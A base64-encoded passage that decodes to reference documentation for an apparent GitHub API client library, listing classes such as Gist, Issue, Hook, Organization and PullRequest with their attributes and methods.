A6IGJvb2wKKiBgcmVwb2A6IGBS\nZXBvc2l0b3J5YAoqIGB0eXBlYDogc3RyaW5nCgpDbGFzcyBgRmlsZWAKPT09\nPT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgYWRkaXRpb25z\nYDogaW50ZWdlcgoqIGBibG9iX3VybGA6IHN0cmluZwoqIGBjaGFuZ2VzYDog\naW50ZWdlcgoqIGBkZWxldGlvbnNgOiBpbnRlZ2VyCiogYGZpbGVuYW1lYDog\nc3RyaW5nCiogYHBhdGNoYDogc3RyaW5nCiogYHJhd191cmxgOiBzdHJpbmcK\nKiBgc2hhYDogc3RyaW5nCiogYHN0YXR1c2A6IHN0cmluZwoKQ2xhc3MgYEdp\nc3RgCj09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGNv\nbW1lbnRzYDogaW50ZWdlcgoqIGBjcmVhdGVkX2F0YDogZGF0ZXRpbWUuZGF0\nZXRpbWUKKiBgZGVzY3JpcHRpb25gOiBzdHJpbmcKKiBgZmlsZXNgOiBkaWN0\nIG9mIHN0cmluZyB0byBgR2lzdEZpbGVgCiogYGZvcmtfb2ZgOiBgR2lzdGAK\nKiBgZm9ya3NgOiBsaXN0IG9mIGBHaXN0YAoqIGBnaXRfcHVsbF91cmxgOiBz\ndHJpbmcKKiBgZ2l0X3B1c2hfdXJsYDogc3RyaW5nCiogYGhpc3RvcnlgOiBs\naXN0IG9mIGBHaXN0SGlzdG9yeVN0YXRlYAoqIGBodG1sX3VybGA6IHN0cmlu\nZwoqIGBpZGA6IHN0cmluZwoqIGBwdWJsaWNgOiBib29sCiogYHVwZGF0ZWRf\nYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGB1cmxgOiBzdHJpbmcKKiBgdXNl\ncmA6IGBOYW1lZFVzZXJgCgpDb21tZW50cwotLS0tLS0tLQoqIGBjcmVhdGVf\nY29tbWVudCggYm9keSApYDogYEdpc3RDb21tZW50YAogICAgKiBgYm9keWA6\nIHN0cmluZwoqIGBnZXRfY29tbWVudCggaWQgKWA6IGBHaXN0Q29tbWVudGAK\nICAgICogYGlkYDogaW50ZWdlcgoqIGBnZXRfY29tbWVudHMoKWA6IGl0ZXJh\ndG9yIG9mIGBHaXN0Q29tbWVudGAKCkRlbGV0aW9uCi0tLS0tLS0tCiogYGRl\nbGV0ZSgpYAoKRm9ya2luZwotLS0tLS0tCiogYGNyZWF0ZV9mb3JrKClgOiBg\nR2lzdGAKCk1vZGlmaWNhdGlvbgotLS0tLS0tLS0tLS0KKiBgZWRpdCggW2Rl\nc2NyaXB0aW9uLCBmaWxlc10gKWAKICAgICogYGRlc2NyaXB0aW9uYDogc3Ry\naW5nCiAgICAqIGBmaWxlc2A6IGRpY3Qgb2Ygc3RyaW5nIHRvIGBJbnB1dEZp\nbGVDb250ZW50YAoKU3RhcnJpbmcKLS0tLS0tLS0KKiBgaXNfc3RhcnJlZCgp\nYDogYm9vbAoqIGByZXNldF9zdGFycmVkKClgCiogYHNldF9zdGFycmVkKClg\nCgpDbGFzcyBgR2lzdENvbW1lbnRgCj09PT09PT09PT09PT09PT09PT0KCkF0\ndHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBib2R5YDogc3RyaW5nCiogYGNyZWF0\nZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGBpZGA6IGludGVnZXIKKiBg\ndXBkYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYHVybGA6IHN0cmlu\nZwoqIGB1c2VyYDogYE5hbWVkVXNlcmAKCkRlbGV0aW9uCi0tLS0tLS0tCiog\nYGRlbGV0ZSgpYAoKTW9kaWZpY2F0aW9uCi0tLS0tLS0tLS0tLQoqIGBlZGl0\nKCBib2R5IClgCiAgICAqIGBib2R5YDogc3RyaW5nCgpDbGFzcyBgR2lzdEZp\nbGVgCj09PT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoq\nIGBjb250ZW50YDogc3RyaW5nCiogYGZpbGVuYW1lYDogc3RyaW5nCiogYGxh\nbmd1YWdlYDogc3RyaW5nCiogYHJhd191cmxgOiBzdHJpbmcKKiBgc2l6ZWA6\nIGludGVnZXIKCkNsYXNzIGBHaXN0SGlzdG9yeVN0YXRlYAo9PT09PT09PT09\nPT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBjaGFu\nZ2Vfc3RhdHVzYDogYENvbW1pdFN0YXRzYAoqIGBjb21taXR0ZWRfYXRgOiBk\nYXRldGltZS5kYXRldGltZQoqIGB1cmxgOiBzdHJpbmcKKiBgdXNlcmA6IGBO\nYW1lZFVzZXJgCiogYHZlcnNpb25gOiBzdHJpbmcKCkNsYXNzIGBHaXRBdXRo\nb3JgCj09PT09PT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0K\nKiBgZGF0ZWA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGVtYWlsYDogc3RyaW5n\nCiogYG5hbWVgOiBzdHJpbmcKCkNsYXNzIGBHaXRCbG9iYAo9PT09PT09PT09\nPT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBjb250ZW50YDogc3Ry\naW5nCiogYGVuY29kaW5nYDogc3RyaW5nCiogYHNoYWA6IHN0cmluZwoqIGBz\naXplYDogaW50ZWdlcgoqIGB1cmxgOiBzdHJpbmcKCkNsYXNzIGBHaXRDb21t\naXRgCj09PT09PT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0K\nKiBgYXV0aG9yYDogYEdpdEF1dGhvcmAKKiBgY29tbWl0dGVyYDogYEdpdEF1\ndGhvcmAKKiBgbWVzc2FnZWA6IHN0cmluZwoqIGBwYXJlbnRzYDogbGlzdCBv\nZiBgR2l0Q29tbWl0YAoqIGBzaGFgOiBzdHJpbmcKKiBgdHJlZWA6IGBHaXRU\ncmVlYAoqIGB1cmxgOiBzdHJpbmcKCkNsYXNzIGBHaXRPYmplY3RgCj09PT09\nPT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgc2hhYDog\nc3RyaW5nCiogYHR5cGVgOiBzdHJpbmcKKiBgdXJsYDogc3RyaW5nCgpDbGFz\ncyBgR2l0UmVmYAo9PT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0t\nLS0tCiogYG9iamVjdGA6IGBHaXRPYmplY3RgCiogYHJlZmA6IHN0cmluZwoq\nIGB1cmxgOiBzdHJpbmcKCkRlbGV0aW9uCi0tLS0tLS0tCiogYGRlbGV0ZSgp\nYAoKTW9kaWZpY2F0aW9uCi0tLS0tLS0tLS0tLQoqIGBlZGl0KCBzaGEsIFtm\nb3JjZV0gKWAKICAgICogYHNoYWA6IHN0cmluZwogICAgKiBgZm9yY2VgOiBi\nb29sCgpDbGFzcyBgR2l0VGFnYAo9PT09PT09PT09PT09PQoKQXR0cmlidXRl\ncwotLS0tLS0tLS0tCiogYG1lc3NhZ2VgOiBzdHJpbmcKKiBgb2JqZWN0YDog\nYEdpdE9iamVjdGAKKiBgc2hhYDogc3RyaW5nCiogYHRhZ2A6IHN0cmluZwoq\nIGB0YWdnZXJgOiBgR2l0QXV0aG9yYAoqIGB1cmxgOiBzdHJpbmcKCkNsYXNz\nIGBHaXRUcmVlYAo9PT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0t\nLS0tLQoqIGBzaGFgOiBzdHJpbmcKKiBgdHJlZWA6IGxpc3Qgb2YgYEdpdFRy\nZWVFbGVtZW50YAoqIGB1cmxgOiBzdHJpbmcKCkNsYXNzIGBHaXRUcmVlRWxl\nbWVudGAKPT09PT09PT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0t\nLS0tLS0tCiogYG1vZGVgOiBzdHJpbmcKKiBgcGF0aGA6IHN0cmluZwoqIGBz\naGFgOiBzdHJpbmcKKiBgc2l6ZWA6IGludGVnZXIKKiBgdHlwZWA6IHN0cmlu\nZwoqIGB1cmxgOiBzdHJpbmcKCkNsYXNzIGBIb29rYAo9PT09PT09PT09PT0K\nCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBhY3RpdmVgOiBib29sCiogYGNv\nbmZpZ2A6IGRpY3QKKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1l\nCiogYGV2ZW50c2A6IGxpc3Qgb2Ygc3RyaW5nCiogYGlkYDogaW50ZWdlcgoq\nIGBsYXN0X3Jlc3BvbnNlYDogYEhvb2tSZXNwb25zZWAKKiBgbmFtZWA6IHN0\ncmluZwoqIGB1cGRhdGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgdXJs\nYDogc3RyaW5nCgpEZWxldGlvbgotLS0tLS0tLQoqIGBkZWxldGUoKWAKCk1v\nZGlmaWNhdGlvbgotLS0tLS0tLS0tLS0KKiBgZWRpdCggbmFtZSwgY29uZmln\nLCBbZXZlbnRzLCBhZGRfZXZlbnRzLCByZW1vdmVfZXZlbnRzLCBhY3RpdmVd\nIClgCiAgICAqIGBuYW1lYDogc3RyaW5nCiAgICAqIGBjb25maWdgOiBkaWN0\nCiAgICAqIGBldmVudHNgOiBsaXN0IG9mIHN0cmluZwogICAgKiBgYWRkX2V2\nZW50c2A6IGxpc3Qgb2Ygc3RyaW5nCiAgICAqIGByZW1vdmVfZXZlbnRzYDog\nbGlzdCBvZiBzdHJpbmcKICAgICogYGFjdGl2ZWA6IGJvb2wKClRlc3RpbmcK\nLS0tLS0tLQoqIGB0ZXN0KClgCgpDbGFzcyBgSG9va1Jlc3BvbnNlYAo9PT09\nPT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGNv\nZGVgOiBpbnRlZ2VyCiogYG1lc3NhZ2VgOiBzdHJpbmcKKiBgc3RhdHVzYDog\nc3RyaW5nCgpDbGFzcyBgSXNzdWVgCj09PT09PT09PT09PT0KCkF0dHJpYnV0\nZXMKLS0tLS0tLS0tLQoqIGBhc3NpZ25lZWA6IGBOYW1lZFVzZXJgCiogYGJv\nZHlgOiBzdHJpbmcKKiBgY2xvc2VkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUK\nKiBgY2xvc2VkX2J5YDogYE5hbWVkVXNlcmAKKiBgY29tbWVudHNgOiBpbnRl\nZ2VyCiogYGNyZWF0ZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGBodG1s\nX3VybGA6IHN0cmluZwoqIGBpZGA6IGludGVnZXIKKiBgbGFiZWxzYDogbGlz\ndCBvZiBgTGFiZWxgCiogYG1pbGVzdG9uZWA6IGBNaWxlc3RvbmVgCiogYG51\nbWJlcmA6IGludGVnZXIKKiBgcHVsbF9yZXF1ZXN0YDogYElzc3VlUHVsbFJl\ncXVlc3RgCiogYHJlcG9zaXRvcnlgOiBgUmVwb3NpdG9yeWAKKiBgc3RhdGVg\nOiBzdHJpbmcKKiBgdGl0bGVgOiBzdHJpbmcKKiBgdXBkYXRlZF9hdGA6IGRh\ndGV0aW1lLmRhdGV0aW1lCiogYHVybGA6IHN0cmluZwoqIGB1c2VyYDogYE5h\nbWVkVXNlcmAKCkNvbW1lbnRzCi0tLS0tLS0tCiogYGNyZWF0ZV9jb21tZW50\nKCBib2R5IClgOiBgSXNzdWVDb21tZW50YAogICAgKiBgYm9keWA6IHN0cmlu\nZwoqIGBnZXRfY29tbWVudCggaWQgKWA6IGBJc3N1ZUNvbW1lbnRgCiAgICAq\nIGBpZGA6IGludGVnZXIKKiBgZ2V0X2NvbW1lbnRzKClgOiBpdGVyYXRvciBv\nZiBgSXNzdWVDb21tZW50YAoKRXZlbnRzCi0tLS0tLQoqIGBnZXRfZXZlbnRz\nKClgOiBpdGVyYXRvciBvZiBgSXNzdWVFdmVudGAKCkxhYmVscwotLS0tLS0K\nKiBgYWRkX3RvX2xhYmVscyggbGFiZWwsIC4uLiApYAogICAgKiBgbGFiZWxg\nOiBgTGFiZWxgCiogYGRlbGV0ZV9sYWJlbHMoKWAKKiBgZ2V0X2xhYmVscygp\nYDogaXRlcmF0b3Igb2YgYExhYmVsYAoqIGByZW1vdmVfZnJvbV9sYWJlbHMo\nIGxhYmVsIClgCiAgICAqIGBsYWJlbGA6IGBMYWJlbGAKKiBgc2V0X2xhYmVs\ncyggbGFiZWwsIC4uLiApYAogICAgKiBgbGFiZWxgOiBgTGFiZWxgCgpNb2Rp\nZmljYXRpb24KLS0tLS0tLS0tLS0tCiogYGVkaXQoIFt0aXRsZSwgYm9keSwg\nYXNzaWduZWUsIHN0YXRlLCBtaWxlc3RvbmUsIGxhYmVsc10gKWAKICAgICog\nYHRpdGxlYDogc3RyaW5nCiAgICAqIGBib2R5YDogc3RyaW5nCiAgICAqIGBh\nc3NpZ25lZWA6IGBOYW1lZFVzZXJgCiAgICAqIGBzdGF0ZWA6IHN0cmluZwog\nICAgKiBgbWlsZXN0b25lYDogYE1pbGVzdG9uZWAKICAgICogYGxhYmVsc2A6\nIGxpc3Qgb2Ygc3RyaW5nCgpDbGFzcyBgSXNzdWVDb21tZW50YAo9PT09PT09\nPT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGJvZHlg\nOiBzdHJpbmcKKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiog\nYGlkYDogaW50ZWdlcgoqIGB1cGRhdGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRp\nbWUKKiBgdXJsYDogc3RyaW5nCiogYHVzZXJgOiBgTmFtZWRVc2VyYAoKRGVs\nZXRpb24KLS0tLS0tLS0KKiBgZGVsZXRlKClgCgpNb2RpZmljYXRpb24KLS0t\nLS0tLS0tLS0tCiogYGVkaXQoIGJvZHkgKWAKICAgICogYGJvZHlgOiBzdHJp\nbmcKCkNsYXNzIGBJc3N1ZUV2ZW50YAo9PT09PT09PT09PT09PT09PT0KCkF0\ndHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBhY3RvcmA6IGBOYW1lZFVzZXJgCiog\nYGNvbW1pdF9pZGA6IHN0cmluZwoqIGBjcmVhdGVkX2F0YDogZGF0ZXRpbWUu\nZGF0ZXRpbWUKKiBgZXZlbnRgOiBzdHJpbmcKKiBgaWRgOiBpbnRlZ2VyCiog\nYGlzc3VlYDogYElzc3VlYAoqIGB1cmxgOiBzdHJpbmcKCkNsYXNzIGBJc3N1\nZVB1bGxSZXF1ZXN0YAo9PT09PT09PT09PT09PT09PT09PT09PT0KCkF0dHJp\nYnV0ZXMKLS0tLS0tLS0tLQoqIGBkaWZmX3VybGA6IHN0cmluZwoqIGBodG1s\nX3VybGA6IHN0cmluZwoqIGBwYXRjaF91cmxgOiBzdHJpbmcKCkNsYXNzIGBM\nYWJlbGAKPT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiog\nYGNvbG9yYDogc3RyaW5nCiogYG5hbWVgOiBzdHJpbmcKKiBgdXJsYDogc3Ry\naW5nCgpEZWxldGlvbgotLS0tLS0tLQoqIGBkZWxldGUoKWAKCk1vZGlmaWNh\ndGlvbgotLS0tLS0tLS0tLS0KKiBgZWRpdCggbmFtZSwgY29sb3IgKWAKICAg\nICogYG5hbWVgOiBzdHJpbmcKICAgICogYGNvbG9yYDogc3RyaW5nCgpDbGFz\ncyBgTWlsZXN0b25lYAo9PT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwot\nLS0tLS0tLS0tCiogYGNsb3NlZF9pc3N1ZXNgOiBpbnRlZ2VyCiogYGNyZWF0\nZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGBjcmVhdG9yYDogYE5hbWVk\nVXNlcmAKKiBgZGVzY3JpcHRpb25gOiBzdHJpbmcKKiBgZHVlX29uYDogZGF0\nZXRpbWUuZGF0ZXRpbWUKKiBgaWRgOiBpbnRlZ2VyCiogYG51bWJlcmA6IGlu\ndGVnZXIKKiBgb3Blbl9pc3N1ZXNgOiBpbnRlZ2VyCiogYHN0YXRlYDogc3Ry\naW5nCiogYHRpdGxlYDogc3RyaW5nCiogYHVybGA6IHN0cmluZwoKRGVsZXRp\nb24KLS0tLS0tLS0KKiBgZGVsZXRlKClgCgpMYWJlbHMKLS0tLS0tCiogYGdl\ndF9sYWJlbHMoKWA6IGl0ZXJhdG9yIG9mIGBMYWJlbGAKCk1vZGlmaWNhdGlv\nbgotLS0tLS0tLS0tLS0KKiBgZWRpdCggdGl0bGUsIFtzdGF0ZSwgZGVzY3Jp\ncHRpb24sIGR1ZV9vbl0gKWAKICAgICogYHRpdGxlYDogc3RyaW5nCiAgICAq\nIGBzdGF0ZWA6IHN0cmluZwogICAgKiBgZGVzY3JpcHRpb25gOiBzdHJpbmcK\nICAgICogYGR1ZV9vbmA6IGRhdGUKCkNsYXNzIGBOYW1lZFVzZXJgCj09PT09\nPT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgYXZhdGFy\nX3VybGA6IHN0cmluZwoqIGBiaW9gOiBzdHJpbmcKKiBgYmxvZ2A6IHN0cmlu\nZwoqIGBjb2xsYWJvcmF0b3JzYDogaW50ZWdlcgoqIGBjb21wYW55YDogc3Ry\naW5nCiogYGNvbnRyaWJ1dGlvbnNgOiBpbnRlZ2VyCiogYGNyZWF0ZWRfYXRg\nOiBkYXRldGltZS5kYXRldGltZQoqIGBkaXNrX3VzYWdlYDogaW50ZWdlcgoq\nIGBlbWFpbGA6IHN0cmluZwoqIGBmb2xsb3dlcnNgOiBpbnRlZ2VyCiogYGZv\nbGxvd2luZ2A6IGludGVnZXIKKiBgZ3JhdmF0YXJfaWRgOiBzdHJpbmcKKiBg\naGlyZWFibGVgOiBib29sCiogYGh0bWxfdXJsYDogc3RyaW5nCiogYGlkYDog\naW50ZWdlcgoqIGBsb2NhdGlvbmA6IHN0cmluZwoqIGBsb2dpbmA6IHN0cmlu\nZwoqIGBuYW1lYDogc3RyaW5nCiogYG93bmVkX3ByaXZhdGVfcmVwb3NgOiBp\nbnRlZ2VyCiogYHBsYW5gOiBgUGxhbmAKKiBgcHJpdmF0ZV9naXN0c2A6IGlu\ndGVnZXIKKiBgcHVibGljX2dpc3RzYDogaW50ZWdlcgoqIGBwdWJsaWNfcmVw\nb3NgOiBpbnRlZ2VyCiogYHRvdGFsX3ByaXZhdGVfcmVwb3NgOiBpbnRlZ2Vy\nCiogYHR5cGVgOiBzdHJpbmcKKiBgdXJsYDogc3RyaW5nCgpFdmVudHMKLS0t\nLS0tCiogYGdldF9ldmVudHMoKWA6IGl0ZXJhdG9yIG9mIGBFdmVudGAKKiBg\nZ2V0X3B1YmxpY19ldmVudHMoKWA6IGl0ZXJhdG9yIG9mIGBFdmVudGAKKiBg\nZ2V0X3JlY2VpdmVkX2V2ZW50cygpYDogaXRlcmF0b3Igb2YgYEV2ZW50YAoq\nIGBnZXRfcHVibGljX3JlY2VpdmVkX2V2ZW50cygpYDogaXRlcmF0b3Igb2Yg\nYEV2ZW50YAoKRm9sbG93ZXJzCi0tLS0tLS0tLQoqIGBnZXRfZm9sbG93ZXJz\nKClgOiBpdGVyYXRvciBvZiBgTmFtZWRVc2VyYAoKRm9sbG93aW5nCi0tLS0t\nLS0tLQoqIGBnZXRfZm9sbG93aW5nKClgOiBpdGVyYXRvciBvZiBgTmFtZWRV\nc2VyYAoKR2lzdHMKLS0tLS0KKiBgY3JlYXRlX2dpc3QoIHB1YmxpYywgZmls\nZXMsIFtkZXNjcmlwdGlvbl0gKWA6IGBHaXN0YAogICAgKiBgcHVibGljYDog\nYm9vbAogICAgKiBgZmlsZXNgOiBkaWN0IG9mIHN0cmluZyB0byBgSW5wdXRG\naWxlQ29udGVudGAKICAgICogYGRlc2NyaXB0aW9uYDogc3RyaW5nCiogYGdl\ndF9naXN0cygpYDogaXRlcmF0b3Igb2YgYEdpc3RgCgpPcmdzCi0tLS0KKiBg\nZ2V0X29yZ3MoKWA6IGl0ZXJhdG9yIG9mIGBPcmdhbml6YXRpb25gCgpSZXBv\ncwotLS0tLQoqIGBnZXRfcmVwbyggbmFtZSApYDogYFJlcG9zaXRvcnlgCiAg\nICAqIGBuYW1lYDogc3RyaW5nCiogYGdldF9yZXBvcyggW3R5cGVdIClgOiBp\ndGVyYXRvciBvZiBgUmVwb3NpdG9yeWAKICAgICogYHR5cGVgOiBzdHJpbmcK\nCldhdGNoZWQKLS0tLS0tLQoqIGBnZXRfd2F0Y2hlZCgpYDogaXRlcmF0b3Ig\nb2YgYFJlcG9zaXRvcnlgCgpDbGFzcyBgT3JnYW5pemF0aW9uYAo9PT09PT09\nPT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGF2YXRh\ncl91cmxgOiBzdHJpbmcKKiBgYmlsbGluZ19lbWFpbGA6IHN0cmluZwoqIGBi\nbG9nYDogc3RyaW5nCiogYGNvbGxhYm9yYXRvcnNgOiBpbnRlZ2VyCiogYGNv\nbXBhbnlgOiBzdHJpbmcKKiBgY3JlYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0\naW1lCiogYGRpc2tfdXNhZ2VgOiBpbnRlZ2VyCiogYGVtYWlsYDogc3RyaW5n\nCiogYGZvbGxvd2Vyc2A6IGludGVnZXIKKiBgZm9sbG93aW5nYDogaW50ZWdl\ncgoqIGBncmF2YXRhcl9pZGA6IHN0cmluZwoqIGBodG1sX3VybGA6IHN0cmlu\nZwoqIGBpZGA6IGludGVnZXIKKiBgbG9jYXRpb25gOiBzdHJpbmcKKiBgbG9n\naW5gOiBzdHJpbmcKKiBgbmFtZWA6IHN0cmluZwoqIGBvd25lZF9wcml2YXRl\nX3JlcG9zYDogaW50ZWdlcgoqIGBwbGFuYDogYFBsYW5gCiogYHByaXZhdGVf\nZ2lzdHNgOiBpbnRlZ2VyCiogYHB1YmxpY19naXN0c2A6IGludGVnZXIKKiBg\ncHVibGljX3JlcG9zYDogaW50ZWdlcgoqIGB0b3RhbF9wcml2YXRlX3JlcG9z\nYDogaW50ZWdlcgoqIGB0eXBlYDogc3RyaW5nCiogYHVybGA6IHN0cmluZwoK\nRXZlbnRzCi0tLS0tLQoqIGBnZXRfZXZlbnRzKClgOiBpdGVyYXRvciBvZiBg\nRXZlbnRgCgpGb3JraW5nCi0tLS0tLS0KKiBgY3JlYXRlX2ZvcmsoIHJlcG8g\nKWA6IGBSZXBvc2l0b3J5YAogICAgKiBgcmVwb2A6IGBSZXBvc2l0b3J5YAoK\nTWVtYmVycwotLS0tLS0tCiogYGdldF9tZW1iZXJzKClgOiBpdGVyYXRvciBv\nZiBgTmFtZWRVc2VyYAoqIGBoYXNfaW5fbWVtYmVycyggbWVtYmVyIClgOiBi\nb29sCiAgICAqIGBtZW1iZXJgOiBgTmFtZWRVc2VyYAoqIGByZW1vdmVfZnJv\nbV9tZW1iZXJzKCBtZW1iZXIgKWAKICAgICogYG1lbWJlcmA6IGBOYW1lZFVz\nZXJgCgpNb2RpZmljYXRpb24KLS0tLS0tLS0tLS0tCiogYGVkaXQoIFtiaWxs\naW5nX2VtYWlsLCBibG9nLCBjb21wYW55LCBlbWFpbCwgbG9jYXRpb24sIG5h\nbWVdIClgCiAgICAqIGBiaWxsaW5nX2VtYWlsYDogc3RyaW5nCiAgICAqIGBi\nbG9nYDogc3RyaW5nCiAgICAqIGBjb21wYW55YDogc3RyaW5nCiAgICAqIGBl\nbWFpbGA6IHN0cmluZwogICAgKiBgbG9jYXRpb25gOiBzdHJpbmcKICAgICog\nYG5hbWVgOiBzdHJpbmcKClB1YmxpY19tZW1iZXJzCi0tLS0tLS0tLS0tLS0t\nCiogYGFkZF90b19wdWJsaWNfbWVtYmVycyggcHVibGljX21lbWJlciApYAog\nICAgKiBgcHVibGljX21lbWJlcmA6IGBOYW1lZFVzZXJgCiogYGdldF9wdWJs\naWNfbWVtYmVycygpYDogaXRlcmF0b3Igb2YgYE5hbWVkVXNlcmAKKiBgaGFz\nX2luX3B1YmxpY19tZW1iZXJzKCBwdWJsaWNfbWVtYmVyIClgOiBib29sCiAg\nICAqIGBwdWJsaWNfbWVtYmVyYDogYE5hbWVkVXNlcmAKKiBgcmVtb3ZlX2Zy\nb21fcHVibGljX21lbWJlcnMoIHB1YmxpY19tZW1iZXIgKWAKICAgICogYHB1\nYmxpY19tZW1iZXJgOiBgTmFtZWRVc2VyYAoKUmVwb3MKLS0tLS0KKiBgY3Jl\nYXRlX3JlcG8oIG5hbWUsIFtkZXNjcmlwdGlvbiwgaG9tZXBhZ2UsIHByaXZh\ndGUsIGhhc19pc3N1ZXMsIGhhc193aWtpLCBoYXNfZG93bmxvYWRzLCB0ZWFt\nX2lkXSApYDogYFJlcG9zaXRvcnlgCiAgICAqIGBuYW1lYDogc3RyaW5nCiAg\nICAqIGBkZXNjcmlwdGlvbmA6IHN0cmluZwogICAgKiBgaG9tZXBhZ2VgOiBz\ndHJpbmcKICAgICogYHByaXZhdGVgOiBib29sCiAgICAqIGBoYXNfaXNzdWVz\nYDogYm9vbAogICAgKiBgaGFzX3dpa2lgOiBib29sCiAgICAqIGBoYXNfZG93\nbmxvYWRzYDogYm9vbAogICAgKiBgdGVhbV9pZGA6IGBUZWFtYAoqIGBnZXRf\ncmVwbyggbmFtZSApYDogYFJlcG9zaXRvcnlgCiAgICAqIGBuYW1lYDogc3Ry\naW5nCiogYGdldF9yZXBvcyggW3R5cGVdIClgOiBpdGVyYXRvciBvZiBgUmVw\nb3NpdG9yeWAKICAgICogYHR5cGVgOiBzdHJpbmcKClRlYW1zCi0tLS0tCiog\nYGNyZWF0ZV90ZWFtKCBuYW1lLCBbcmVwb19uYW1lcywgcGVybWlzc2lvbl0g\nKWA6IGBUZWFtYAogICAgKiBgbmFtZWA6IHN0cmluZwogICAgKiBgcmVwb19u\nYW1lc2A6IGxpc3Qgb2YgYFJlcG9zaXRvcnlgCiAgICAqIGBwZXJtaXNzaW9u\nYDogc3RyaW5nCiogYGdldF90ZWFtKCBpZCApYDogYFRlYW1gCiAgICAqIGBp\nZGA6IGludGVnZXIKKiBgZ2V0X3RlYW1zKClgOiBpdGVyYXRvciBvZiBgVGVh\nbWAKCkNsYXNzIGBQZXJtaXNzaW9uc2AKPT09PT09PT09PT09PT09PT09PQoK\nQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGFkbWluYDogYm9vbAoqIGBwdWxs\nYDogYm9vbAoqIGBwdXNoYDogYm9vbAoKQ2xhc3MgYFBsYW5gCj09PT09PT09\nPT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGNvbGxhYm9yYXRvcnNg\nOiBpbnRlZ2VyCiogYG5hbWVgOiBzdHJpbmcKKiBgcHJpdmF0ZV9yZXBvc2A6\nIGludGVnZXIKKiBgc3BhY2VgOiBpbnRlZ2VyCgpDbGFzcyBgUHVsbFJlcXVl\nc3RgCj09PT09PT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0t\nLQoqIGBhZGRpdGlvbnNgOiBpbnRlZ2VyCiogYGJhc2VgOiBgUHVsbFJlcXVl\nc3RQYXJ0YAoqIGBib2R5YDogc3RyaW5nCiogYGNoYW5nZWRfZmlsZXNgOiBp\nbnRlZ2VyCiogYGNsb3NlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGNv\nbW1lbnRzYDogaW50ZWdlcgoqIGBjb21taXRzYDogaW50ZWdlcgoqIGBjcmVh\ndGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgZGVsZXRpb25zYDogaW50\nZWdlcgoqIGBkaWZmX3VybGA6IHN0cmluZwoqIGBoZWFkYDogYFB1bGxSZXF1\nZXN0UGFydGAKKiBgaHRtbF91cmxgOiBzdHJpbmcKKiBgaWRgOiBpbnRlZ2Vy\nCiogYGlzc3VlX3VybGA6IHN0cmluZwoqIGBtZXJnZWFibGVgOiBib29sCiog\nYG1lcmdlZGA6IGJvb2wKKiBgbWVyZ2VkX2F0YDogZGF0ZXRpbWUuZGF0ZXRp\nbWUKKiBgbWVyZ2VkX2J5YDogYE5hbWVkVXNlcmAKKiBgbnVtYmVyYDogaW50\nZWdlcgoqIGBwYXRjaF91cmxgOiBzdHJpbmcKKiBgcmV2aWV3X2NvbW1lbnRz\nYDogaW50ZWdlcgoqIGBzdGF0ZWA6IHN0cmluZwoqIGB0aXRsZWA6IHN0cmlu\nZwoqIGB1cGRhdGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgdXJsYDog\nc3RyaW5nCiogYHVzZXJgOiBgTmFtZWRVc2VyYAoKQ29tbWVudHMKLS0tLS0t\nLS0KKiBgY3JlYXRlX2NvbW1lbnQoIGJvZHksIGNvbW1pdF9pZCwgcGF0aCwg\ncG9zaXRpb24gKWA6IGBQdWxsUmVxdWVzdENvbW1lbnRgCiAgICAqIGBib2R5\nYDogc3RyaW5nCiAgICAqIGBjb21taXRfaWRgOiBgQ29tbWl0YAogICAgKiBg\ncGF0aGA6IHN0cmluZwogICAgKiBgcG9zaXRpb25gOiBpbnRlZ2VyCiogYGdl\ndF9jb21tZW50KCBpZCApYDogYFB1bGxSZXF1ZXN0Q29tbWVudGAKICAgICog\nYGlkYDogaW50ZWdlcgoqIGBnZXRfY29tbWVudHMoKWA6IGl0ZXJhdG9yIG9m\nIGBQdWxsUmVxdWVzdENvbW1lbnRgCgpDb21taXRzCi0tLS0tLS0KKiBgZ2V0\nX2NvbW1pdHMoKWA6IGl0ZXJhdG9yIG9mIGBDb21taXRgCgpGaWxlcwotLS0t\nLQoqIGBnZXRf